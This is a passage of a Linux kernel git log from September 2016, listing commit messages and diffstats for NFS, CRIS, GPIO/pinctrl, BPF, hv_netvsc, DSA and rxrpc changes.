dprintk in nfsd4_encode_getdeviceinfo nfserr is big-endian, so we should convert it to host-endian before printing it. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfs4xdr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2dc024e94578c53e2c579a48725c8fe2527f9d5e Author: yizhouzhou@ict.ac.cn Date: Fri Sep 23 16:06:00 2016 +0200 cris: return of class_create should be considered Return value of class_create should be considered in module init function. Signed-off-by: Zhouyi Zhou Signed-off-by: Jesper Nilsson arch/cris/arch-v32/drivers/sync_serial.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 11c2ecdcf71bd801fda79bd99607388241d8d2ce Author: Fabian Frederick Date: Fri Sep 23 16:00:57 2016 +0200 CRIS: defconfig: remove MTDRAM_ABS_POS According to commit ef158bdf8374 ("mtd: Remove unused symbol CONFIG_MTDRAM_ABS_POS") Signed-off-by: Fabian Frederick Signed-off-by: Jesper Nilsson arch/cris/configs/artpec_3_defconfig | 1 - arch/cris/configs/dev88_defconfig | 1 - arch/cris/configs/etrax-100lx_v2_defconfig | 1 - arch/cris/configs/etraxfs_defconfig | 1 - 4 files changed, 4 deletions(-) commit a85f305f6e4e4055ac1f43e18a96417bcd146d45 Author: Dan Carpenter Date: Fri Sep 23 15:55:59 2016 +0200 CRIS v32: remove some double unlocks We unlocked a few lines earlier so we can delete these unlocks. Signed-off-by: Dan Carpenter Signed-off-by: Jesper Nilsson arch/cris/arch-v32/mach-a3/dma.c | 1 - arch/cris/arch-v32/mach-fs/dma.c | 1 - 2 files changed, 2 deletions(-) commit 5690a22d8612e1788b48b4ea53c59868589cd2db Author: Daniel Wagner Date: Fri Sep 23 10:41:57 2016 +0200 xprtrdma: use complete() instead complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context frwr_op_unmap_sync() reinit_completion() ib_post_send() wait_for_completion() frwr_wc_localinv_wake() complete() Signed-off-by: Daniel Wagner Cc: Anna Schumaker Cc: Trond Myklebust Cc: Chuck Lever Cc: linux-nfs@vger.kernel.org Cc: netdev@vger.kernel.org Signed-off-by: Anna Schumaker net/sunrpc/xprtrdma/frwr_ops.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a0d0c6216afad4b2b1704a72bd76bea259e07655 Author: Masami Hiramatsu Date: Fri Sep 9 01:05:45 2016 +0900 tracing: Call traceoff trigger after event is recorded Call traceoff trigger after the event is recorded. Since current traceoff trigger is called before recording the event, we can not know what event stopped tracing. Typical usecase of traceoff/traceon trigger is tracing function calls and trace events between a pair of events. For example, trace function calls between syscall entry/exit. In that case, it is useful if we can see the return code of the target syscall. Link: http://lkml.kernel.org/r/147335074530.12462.4526186083406015005.stgit@devbox Signed-off-by: Masami Hiramatsu Signed-off-by: Steven Rostedt kernel/trace/trace_events_trigger.c | 1 + 1 file changed, 1 insertion(+) commit e1ae7ed216981c2271b672d4f0eb4213e63df7ff Author: Andrea Gelmini Date: Fri Sep 23 15:42:10 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/include/uapi/arch-v10/arch/sv_addr_ag.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 746d9dda5628de73f3f88b23374ef2588c6aad4a Author: Andrea Gelmini Date: Fri Sep 23 15:42:08 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/arch-v32/mach-fs/dram_init.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 60a7a19985244a8549fd3a7e4a18194ab710ddbf Author: Andrea Gelmini Date: Fri Sep 23 15:42:08 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/include/arch-v32/arch/cryptocop.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a94c83c09937a1d513d21cdd652c4d8326794912 Author: Andrea Gelmini Date: Fri Sep 23 15:42:07 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/arch-v32/mach-a3/dram_init.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 520c1748092d34c0effb773bd131752f3b9585ae Author: Andrea Gelmini Date: Sat May 21 13:54:29 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/arch-v32/drivers/cryptocop.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 46813ddcce9373fc3035275c36321484b494871c Author: Andrea Gelmini Date: Fri Sep 23 15:42:05 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/arch-v10/lib/dram_init.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8d59dc11bee785b03687e334919d68a552b7d0ba Author: Andrea Gelmini Date: Fri Sep 23 15:42:03 2016 +0200 Fix typo Signed-off-by: Andrea Gelmini Signed-off-by: Jesper Nilsson arch/cris/arch-v10/drivers/eeprom.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3161832d58c7f3bf8b190a2887086be0932d8dd3 Author: Keith Busch Date: Tue Sep 13 09:05:40 2016 -0600 x86/PCI: VMD: Request userspace control of PCIe hotplug indicators Add set_dev_domain_options() to set PCI domain-specific options as devices are added. The first usage is to request exclusive userspace control of PCIe hotplug indicators in VMD domains. Devices in a VMD domain use PCIe hotplug Attention and Power Indicators in a non-standard way; tell pciehp to ignore the indicators so userspace can control them via the sysfs "attention" file. To determine whether a bus is within a VMD domain, add a bool to the pci_sysdata structure that the VMD driver sets during initialization. [bhelgaas: changelog] Requested-by: Kapil Karkra Tested-by: Artur Paszkiewicz Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas arch/x86/include/asm/pci.h | 14 ++++++++++++++ arch/x86/pci/common.c | 7 +++++++ arch/x86/pci/vmd.c | 1 + 3 files changed, 22 insertions(+) commit 2a446a5d99fe838b8aba2592a4bc88d93d8cebf8 Author: Daniel Wagner Date: Thu Sep 22 13:54:29 2016 +0200 NFS: cache_lib: use complete() instead of complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The generic caching code from sunrpc is calling revisit() only once. The usage pattern of the completion is: waiter context waker context do_cache_lookup_wait() nfs_cache_defer_req_alloc() init_completion() do_cache_lookup() nfs_cache_wait_for_upcall() wait_for_completion_timeout() nfs_dns_cache_revisit() complete() nfs_cache_defer_req_put() Signed-off-by: Daniel Wagner Signed-off-by: Anna Schumaker fs/nfs/cache_lib.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 887358f91a3c26f746d419fd6e22277b8f8e50cf Author: Paul Gortmaker Date: Fri Sep 23 15:33:38 2016 +0200 cris: migrate exception table users off module.h and onto extable.h This file was only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile this file. Cc: Mikael Starvik Cc: Jesper Nilsson Cc: linux-cris-kernel@axis.com Signed-off-by: Paul Gortmaker Signed-off-by: Jesper Nilsson arch/cris/mm/fault.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2a8d2fdca4a23c9e998904181439261e06918574 Author: Heiko Stuebner Date: Tue Sep 13 12:30:22 2016 +0200 devicetree: Add vendor-prefix for Silead Inc. Silead Inc.specializes in touchscreen technology and got recently introduced in a binding for the gsl1680 i2c touchscreen. Therefore add the needed vendor-prefix as well. Signed-off-by: Heiko Stuebner Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 0e1847c4b1592fcb1e66f1e427105d2ff8781271 Author: Niklas Cassel Date: Fri Jun 10 18:21:20 2016 +0200 cris: v10: axisflashmap: remove unused ifdefs The Kconfig CONFIG_ETRAX_AXISFLASHMAP_MTD0WHOLE does not exist for crisv10, so remove it. Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/arch-v10/drivers/axisflashmap.c | 19 ------------------- 1 file changed, 19 deletions(-) commit e3296f19c8620a9c47b6734df84c4b3126d2fe46 Author: Nava kishore Manne Date: Fri Sep 23 16:56:58 2016 +0530 gpio: Added zynq specific check for special pins on bank zero This patch adds zynq specific check for bank 0 pins 7 and 8 are special and cannot be used as inputs Signed-off-by: Nava kishore Manne Reported-by: Jonas Karlsson Acked-by: Sören Brinkmann Acked-by: Michal Simek Signed-off-by: Linus Walleij drivers/gpio/gpio-zynq.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 01dabe91b1fef93130207e1a04bdf0a092a9fb21 Author: Nilesh Bacchewar Date: Wed Sep 21 16:35:23 2016 -0700 pinctrl: intel: Configure GPIO chip IRQ as wakeup interrupts On some Intel BXT platform, wake-up from suspend-to-idle on pressing power-button is not working. Its noticed that gpio-keys driver marking the second level IRQ/power-button as wake capable but Intel pintctrl driver is missing to mark GPIO chip/controller IRQ which first level IRQ as wake cable if its GPIO pin IRQ is wakeble. So, though the first level IRQ gets generated on power-button press, since it is not marked as wake capable resume/wake-up flow is not happening. Intel pintctrl/GPIO driver need to mark GPIO chip/controller IRQ (first level IRQ) as wake capable iff GPIO pin's IRQ (second level IRQ) is marked as wake cable. Changes in v2: - Add missing irq initialisation. Signed-off-by: Nilesh Bacchewar Reviewed-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-intel.c | 33 +++++---------------------------- 1 file changed, 5 insertions(+), 28 deletions(-) commit 024de8f1ade4c513f74172993572e9694ede81a1 Author: Daniel Wagner Date: Thu Sep 22 13:54:28 2016 +0200 NFS: direct: use complete() instead of complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). nfs_file_direct_write() or nfs_file_direct_read() allocated a request object via nfs_direct_req_alloc(), which initializes the completion. The request object then is freed later in the exit path. Between the initialization and the release either nfs_direct_write_schedule_iovec() resp nfs_direct_read_schedule_iovec() are called which will asynchronously process the request. The calling function waits via nfs_direct_wait() till the async work has been done. Thus there is only one waiter on the completion. nfs_direct_pgio_init() and nfs_direct_read_completion() are passed via function pointers to nfs pageio. The first function does a ref counting (get_dreq() and put_dreq()) which ensures that nfs_direct_read_completion() and nfs_direct_read_schedule_iovec() only call the completion path once. The usage pattern of the completion is: waiter context waker context nfs_file_direct_write() dreq = nfs_direct_req_alloc() init_completion() nfs_direct_write_schedule_iovec() nfs_direct_wait() wait_for_completion_killable() nfs_direct_write_schedule_work() nfs_direct_complete() complete() nfs_file_direct_read() dreq = nfs_direct_req_all() init_completion() nfs_direct_read_schedule_iovec() nfs_direct_wait() wait_for_completion_killable() nfs_direct_read_schedule_iovec() nfs_direct_complete() complete() nfs_direct_read_completion() nfs_direct_complete() complete() Signed-off-by: Daniel Wagner Signed-off-by: Anna Schumaker fs/nfs/direct.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 81d3753d9ea540c38b906399822a963e3b44a045 Author: Maxime Ripard Date: Wed Sep 21 23:51:22 2016 +0300 gpio: axp209: Implement get_direction Implement the get_direction callback for the GPIOs found in the AXP209 PMIC. Due to the way they are implemented, in the same register you have the muxing options, GPIO directions and GPIO values. Since you have no control over what value is there at reset, simply use output as the default. Signed-off-by: Maxime Ripard Signed-off-by: Linus Walleij drivers/gpio/gpio-axp209.c | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 83626bbdf5ca31257066b05db5a38c846ae1e19f Author: Wei Yongjun Date: Wed Sep 21 15:07:56 2016 +0000 gpio: aspeed: remove redundant return value check Remove unneeded error handling on the result of a call to platform_get_resource() when the value is passed to devm_ioremap_resource(). Signed-off-by: Wei Yongjun Signed-off-by: Linus Walleij drivers/gpio/gpio-aspeed.c | 3 --- 1 file changed, 3 deletions(-) commit 6e643d8ddf0e923ea0601e1dc014ff0d3b7b8260 Author: Wei Yongjun Date: Wed Sep 21 15:07:39 2016 +0000 gpio: loongson1: remove redundant return value check Remove unneeded error handling on the result of a call to platform_get_resource() when the value is passed to devm_ioremap_resource(). Signed-off-by: Wei Yongjun Signed-off-by: Linus Walleij drivers/gpio/gpio-loongson1.c | 5 ----- 1 file changed, 5 deletions(-) commit fb2a3d5c7c85cb6e8bc88192be919b4ef8d6e630 Author: David S. Miller Date: Fri Sep 23 09:09:31 2016 -0400 Revert "xen-netback: create a debugfs node for hash information" This reverts commit c0c64c152389ad73306b9b0796357210ec6d32ee. There is no vif->ctrl_task member, so this change broke the build. Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 4 --- drivers/net/xen-netback/hash.c | 68 ---------------------------------------- drivers/net/xen-netback/xenbus.c | 37 ++-------------------- 3 files changed, 2 insertions(+), 107 deletions(-) commit dfc3da4404ad1ec42a0a649a4ffa2b0f37e80352 Author: David Howells Date: Fri Sep 23 12:39:23 2016 +0100 rxrpc: Need to start the resend timer on initial transmission When a DATA packet has its initial transmission, we may need to start or adjust the resend timer. Without this we end up relying on being sent a NACK to initiate the resend. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 + net/rxrpc/call_event.c | 2 +- net/rxrpc/sendmsg.c | 9 +++++++++ 3 files changed, 11 insertions(+), 1 deletion(-) commit 98dafac5697fbe1fb4bef9e3204baf9051641b00 Author: David Howells Date: Fri Sep 23 14:04:38 2016 +0100 rxrpc: Use before_eq() and friends to compare serial numbers before_eq() and friends should be used to compare serial numbers (when not checking for (non)equality) rather than casting to int, subtracting and checking the result. Signed-off-by: David Howells net/rxrpc/input.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d1073418d952f6a3557a888ffd666cc8c21362b1 Author: Mika Westerberg Date: Tue Sep 20 15:15:23 2016 +0300 pinctrl: cherryview: Convert to use devm_gpiochip_add_data() This simplifies the error handling and allows us to drop the whole chv_pinctrl_remove() function. Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-cherryview.c | 21 +++------------------ 1 file changed, 3 insertions(+), 18 deletions(-) commit 47c950d1020226179d278297c85ba6a988ee398b Author: Mika Westerberg Date: Tue Sep 20 15:15:22 2016 +0300 pinctrl: cherryview: Do not add all southwest and north GPIOs to IRQ domain It turns out that for north and southwest communities, they can only generate GPIO interrupts for lower 8 interrupts (IntSel value). The upper part (8-15) can only generate GPEs (General Purpose Events). Now the reason why EC events such as pressing hotkeys does not work if we mask all the interrupts is that in order to generate either interrupts or GPEs the INTMASK register must have that particular interrupt unmasked. In case of GPEs the CPU does not trigger normal interrupt (and thus the GPIO driver does not see it) but instead it causes SCI (System Control Interrupt) to be triggered with the GPE in question set. To make this all work as expected we only add those GPIOs to the IRQ domain that can actually generate interrupts (IntSel value 0-7) and skip others. Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-cherryview.c | 34 +++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) commit 0565f49cfe937640c2347f6d7f40ad2f4e4f088b Merge: ccf1e9e 9395452 Author: Linus Walleij Date: Fri Sep 23 14:57:16 2016 +0200 Merge tag 'v4.8-rc6' into devel Linux 4.8-rc6 commit 22a5db98a30ea734c29056b0d59cb4fe2a383bc2 Merge: 9132ce4 79b804c Author: Linus Walleij Date: Fri Sep 23 14:51:18 2016 +0200 Merge branch 'gpio-irq-validmask' of /home/linus/linux-pinctrl into devel commit ccf1e9e1c0072088420aad42797986d6e74366b5 Merge: 31ebe86 79b804c Author: Linus Walleij Date: Fri Sep 23 14:50:14 2016 +0200 Merge branch 'gpio-irq-validmask' into devel commit 79b804cb6af4f128b2c53f0887c02537a7eb5824 Author: Mika Westerberg Date: Tue Sep 20 15:15:21 2016 +0300 gpiolib: Make it possible to exclude GPIOs from IRQ domain When using GPIO irqchip helpers to setup irqchip for a gpiolib based driver, it is not possible to select which GPIOs to add to the IRQ domain. Instead it just adds all GPIOs which is not always desired. For example there might be GPIOs that for some reason cannot generated normal interrupts at all. To support this we add a flag irq_need_valid_mask to struct gpio_chip. When this flag is set the core allocates irq_valid_mask that holds one bit for each GPIO the chip has. By default all bits are set but drivers can manipulate this using set_bit() and clear_bit() accordingly. Then when gpiochip_irqchip_add() is called, this mask is checked and all GPIOs with bit is set are added to the IRQ domain created for the GPIO chip. Suggested-by: Linus Walleij Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij Documentation/gpio/driver.txt | 6 ++++ drivers/gpio/gpiolib.c | 66 +++++++++++++++++++++++++++++++++++++++++-- include/linux/gpio/driver.h | 6 ++++ 3 files changed, 75 insertions(+), 3 deletions(-) commit 9132ce450bd141cd8c5776b41e90f146cae4bc3b Author: Linus Walleij Date: Fri Sep 23 14:34:45 2016 +0200 ARM: omap2: fix missing include commit d47529b2e9fe "gpio: don't include module.h in shared driver header" removed from the header. It seems arch/arm/mach-omap2/board-rx51-peripherals.c is using __initdata_or_module from through to , so break this dependency so that we get a clean compile. Cc: Paul Gortmaker Cc: Tony Lindgren Fixes: d47529b2e9fe ("gpio: don't include module.h in shared driver header") Signed-off-by: Linus Walleij arch/arm/mach-omap2/board-rx51-peripherals.c | 1 + 1 file changed, 1 insertion(+) commit 7a048d5adc03e0a7af86e1c6065a99fa071d9c8d Merge: c14fec3 7a4b28c Author: David S. Miller Date: Fri Sep 23 08:40:36 2016 -0400 Merge branch 'bpf-helper-improvements' Daniel Borkmann says: ==================== Few minor BPF helper improvements Just a few minor improvements around BPF helpers, first one is a fix but given this late stage and that it's not really a critical one, I think net-next is just fine. For details please see the individual patches. ==================== Signed-off-by: David S. Miller commit 7a4b28c6cc9ffac50f791b99cc7e46106436e5d8 Author: Daniel Borkmann Date: Fri Sep 23 01:28:37 2016 +0200 bpf: add helper to invalidate hash Add a small helper that complements 36bbef52c7eb ("bpf: direct packet write and access for helpers for clsact progs") for invalidating the current skb->hash after mangling on headers via direct packet write. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/uapi/linux/bpf.h | 7 +++++++ net/core/filter.c | 18 ++++++++++++++++++ 2 files changed, 25 insertions(+) commit 669dc4d76d0ecc2d795df735839f43cfddf9f617 Author: Daniel Borkmann Date: Fri Sep 23 01:28:36 2016 +0200 bpf: use bpf_get_smp_processor_id_proto instead of raw one Same motivation as in commit 80b48c445797 ("bpf: don't use raw processor id in generic helper"), but this time for XDP typed programs. Thus, allow for preemption checks when we have DEBUG_PREEMPT enabled, and otherwise use the raw variant. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/core/filter.c | 2 ++ 1 file changed, 2 insertions(+) commit 2d48c5f9335e48ddac7a52db10bf3bfd01986b9c Author: Daniel Borkmann Date: Fri Sep 23 01:28:35 2016 +0200 bpf: use skb_to_full_sk helper in bpf_skb_under_cgroup We need to use skb_to_full_sk() helper introduced in commit bd5eb35f16a9 ("xfrm: take care of request sockets") as otherwise we miss tcp synack messages, since ownership is on request socket and therefore it would miss the sk_fullsock() check. Use skb_to_full_sk() as also done similarly in the bpf_get_cgroup_classid() helper via 2309236c13fe ("cls_cgroup: get sk_classid only from full sockets") fix to not let this fall through. Fixes: 4a482f34afcc ("cgroup: bpf: Add bpf_skb_in_cgroup_proto") Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/core/filter.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c14fec3969b0e8af5c38ad9f14198d6d7cca54d0 Merge: dd5a3005 f7ad75b Author: David S. Miller Date: Fri Sep 23 08:39:54 2016 -0400 Merge branch 'hv_netvsc-next' Stephen Hemminger says: ==================== hv_netvsc changes These are mostly about improving the handling of interaction between the virtual network device (netvsc) and the SR-IOV VF network device. ==================== Signed-off-by: David S. Miller commit f7ad75b753f386454f50044fd69edad767b69ce8 Author: Stephen Hemminger Date: Thu Sep 22 16:56:35 2016 -0700 hv_netvsc: count multicast packets received Useful for debugging issues with multicast and SR-IOV to keep track of number of received multicast packets. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 2 ++ drivers/net/hyperv/netvsc_drv.c | 9 ++++++++- 2 files changed, 10 insertions(+), 1 deletion(-) commit 9cbcc4280645f0e7e19e6a0da443ec7e69cecf40 Author: Stephen Hemminger Date: Thu Sep 22 16:56:34 2016 -0700 hv_netvsc: remove VF in flight counters Since VF reference is now protected by RCU, no longer need the VF usage counter and can use device flags to see whether to inject or not. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 3 +- drivers/net/hyperv/netvsc_drv.c | 81 ++++++++++------------------------------- 2 files changed, 21 insertions(+), 63 deletions(-) commit f207c10d982388fa42710922ad1c0c9d3ba9a87b Author: Stephen Hemminger Date: Thu Sep 22 16:56:33 2016 -0700 hv_netvsc: use RCU to protect vf_netdev The vf_netdev pointer in the netvsc device context can simply be protected by RCU because network device destruction is already RCU synchronized. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 2 +- drivers/net/hyperv/netvsc_drv.c | 29 +++++++++++++++-------------- 2 files changed, 16 insertions(+), 15 deletions(-) commit e8ff40d4bff1f3b6a588e29ed1fbdfd943642856 Author: Stephen Hemminger Date: Thu Sep 22 16:56:32 2016 -0700 hv_netvsc: improve VF device matching The code to associate netvsc and VF devices can be made less error prone by using a better matching algorithms. On registration, use the permanent address which avoids any possible issues caused by device MAC address being changed. For all other callbacks, search by the netdevice pointer value to ensure getting the correct network device. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 60 ++++++++++++++++++++++++++--------------- 1 file changed, 39 insertions(+), 21 deletions(-) commit ee837a137304290a1ae26980c73a367f7afef54f Author: Stephen Hemminger Date: Thu Sep 22 16:56:31 2016 -0700 hv_netvsc: simplify callback event code The callback handler for netlink events can be simplified: * Consolidate check for netlink callback events about this driver itself. * Ignore non-Ethernet devices. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) commit 07d0f0008c783d2a2fce8497000938db15fd7aa1 Author: Stephen Hemminger Date: Thu Sep 22 16:56:30 2016 -0700 hv_netvsc: dev hold/put reference to VF The netvsc driver holds a pointer to the virtual function network device if managing SR-IOV association. In order to ensure that the VF network device does not disappear, it should be using dev_hold/dev_put to get a reference count. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 3 +++ 1 file changed, 3 insertions(+) commit 17db4bcef3c3c45b95b3b3d8577f725df1b2c0a0 Author: Stephen Hemminger Date: Thu Sep 22 16:56:29 2016 -0700 hv_netvsc: use consume_skb Packets that are transmitted in normal path should use consume_skb instead of kfree_skb. This allows for better tracing of packet drops. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dd5a3005eb09b84d759dda43b1ae662bb223d2ac Merge: e397867 749efcb Author: David S. Miller Date: Fri Sep 23 08:38:59 2016 -0400 Merge branch 'dsa-port-fast-ageing' Vivien Didelot says: ==================== net: dsa: add port fast ageing Today the DSA drivers are in charge of flushing the MAC addresses associated to a port when its STP state changes from Learning or Forwarding, to Disabled or Blocking or Listening. This makes the drivers more complex and hides this generic switch logic. This patchset introduces a new optional port_fast_age operation to dsa_switch_ops, to move this logic to the DSA layer and keep drivers simple. b53 and mv88e6xxx are updated accordingly. ==================== Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller commit 749efcb8140e608dc2a63b6d61063b7cd3e556a5 Author: Vivien Didelot Date: Thu Sep 22 16:49:24 2016 -0400 net: dsa: mv88e6xxx: implement DSA port fast ageing Now that the DSA layer handles port fast ageing on correct STP change, simplify _mv88e6xxx_port_state and implement mv88e6xxx_port_fast_age. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 45 ++++++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 22 deletions(-) commit 597698f1e00d37d40f83770ea166f3ca0dc1d68c Author: Vivien Didelot Date: Thu Sep 22 16:49:23 2016 -0400 net: dsa: b53: implement DSA port fast ageing Remove the fast ageing logic from b53_br_set_stp_state and implement the new DSA switch port_fast_age operation instead. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 31 +++++++++++-------------------- 1 file changed, 11 insertions(+), 20 deletions(-) commit 732f794c1baf58e1eb2be4431635829c3da655bd Author: Vivien Didelot Date: Thu Sep 22 16:49:22 2016 -0400 net: dsa: add port fast ageing Today the DSA drivers are in charge of flushing the MAC addresses associated to a port when its STP state changes from Learning or Forwarding, to Disabled or Blocking or Listening. This makes the drivers more complex and hides the generic switch logic. Introduce a new optional port_fast_age operation to dsa_switch_ops, to move this logic to the DSA layer and keep drivers simple. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller include/net/dsa.h | 2 ++ net/dsa/slave.c | 18 ++++++++++++++++++ 2 files changed, 20 insertions(+) commit 4acfee8143b33efa8bda6f03fe1462d545ff8170 Author: Vivien Didelot Date: Thu Sep 22 16:49:21 2016 -0400 net: dsa: add port STP state helper Add a void helper to set the STP state of a port, checking first if the required routine is provided by the driver. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller net/dsa/slave.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit e3978673f514fa4999f04dfad9bbd5bb70d0edc6 Author: Iyappan Subramanian Date: Thu Sep 22 15:47:33 2016 -0700 drivers: net: xgene: Fix MSS programming Current driver programs static value of MSS in hardware register for TSO offload engine to segment the TCP payload regardless the MSS value provided by network stack. This patch fixes this by programming hardware registers with the stack provided MSS value. Since the hardware has the limitation of having only 4 MSS registers, this patch uses reference count of mss values being used. Signed-off-by: Iyappan Subramanian Signed-off-by: Toan Le Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_hw.h | 7 ++ drivers/net/ethernet/apm/xgene/xgene_enet_main.c | 90 ++++++++++++++++++----- drivers/net/ethernet/apm/xgene/xgene_enet_main.h | 8 +- drivers/net/ethernet/apm/xgene/xgene_enet_xgmac.c | 18 ++++- 4 files changed, 100 insertions(+), 23 deletions(-) commit 96c447077c2f66ed4117fd832a84c40265dbd9f2 Author: Cyril Bur Date: Fri Sep 23 16:18:07 2016 +1000 selftests/powerpc: Compile selftests against headers without AT_HWCAP2 It might be nice to compile selftests against older kernels and headers but which may not have HWCAP2. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/utils.h | 7 +++++++ 1 file changed, 7 insertions(+) commit 90bd684ded900673d86f64f4b4197704a38f04bc Author: David Howells Date: Fri Sep 23 12:39:23 2016 +0100 rxrpc: Should be using ktime_add_ms() not ktime_add_ns() ktime_add_ms() should be used to add the resend time (in ms) rather than ktime_add_ns(). Signed-off-by: David Howells net/rxrpc/call_event.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c0d058c21c69b3685c3f1bb008aa11f1a5eaee7e Author: David Howells Date: Fri Sep 23 12:39:23 2016 +0100 rxrpc: Make sure sendmsg() is woken on call completion Make sure that sendmsg() gets woken up if the call it is waiting for completes abnormally. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 + 1 file changed, 1 insertion(+) commit 9aff212bd677829189fae2e2e408cefc196ae5ae Author: David Howells Date: Fri Sep 23 12:39:23 2016 +0100 rxrpc: Don't send an ACK at the end of service call response transmission Don't send an IDLE ACK at the end of the transmission of the response to a service call. The service end resends DATA packets until the client sends an ACK that hard-acks all the send data. At that point, the call is complete. Signed-off-by: David Howells net/rxrpc/recvmsg.c | 2 -- 1 file changed, 2 deletions(-) commit b24d2891cfb0a7975b0039743439c98fe7b7dea7 Author: David Howells Date: Fri Sep 23 13:17:33 2016 +0100 rxrpc: Preset timestamp on Tx sk_buffs Set the timestamp on sk_buffs holding packets to be transmitted before queueing them because the moment the packet is on the queue it can be seen by the retransmission algorithm - which may see a completely random timestamp. If the retransmission algorithm sees such a timestamp, it may retransmit the packet and, in future, tell the congestion management algorithm that the retransmit timer expired. Signed-off-by: David Howells net/rxrpc/sendmsg.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0e21fa4602078160e03ef210c983df0c257ccbe8 Author: Jannik Becher Date: Fri Sep 23 01:02:10 2016 +0200 staging: wlan-ng: remove unnecessary spaces before casts Fixed a coding style issue by removing unnecessary spaces before casts. Signed-off-by: Jannik Becher Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/p80211netdev.c | 12 ++++++------ drivers/staging/wlan-ng/p80211req.c | 16 ++++++++-------- drivers/staging/wlan-ng/prism2fw.c | 18 +++++++++--------- drivers/staging/wlan-ng/prism2mgmt.c | 8 ++++---- drivers/staging/wlan-ng/prism2mib.c | 16 ++++++++-------- drivers/staging/wlan-ng/prism2sta.c | 32 ++++++++++++++++---------------- 7 files changed, 53 insertions(+), 53 deletions(-) commit d30924a032722d72d19fc0ad13f24c7b5a6adf27 Author: Johan Svensson Date: Thu Sep 22 20:11:21 2016 +0200 staging: ks7010: add blank line after variable declarations Fixes warnings found by checkpatch Missing a blank line after declarations Signed-off-by: Johan Svensson Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 3 +++ 1 file changed, 3 insertions(+) commit 7b993855dfd5d87e07ac84285d3d9bb0c743dede Author: Daniel Schultz 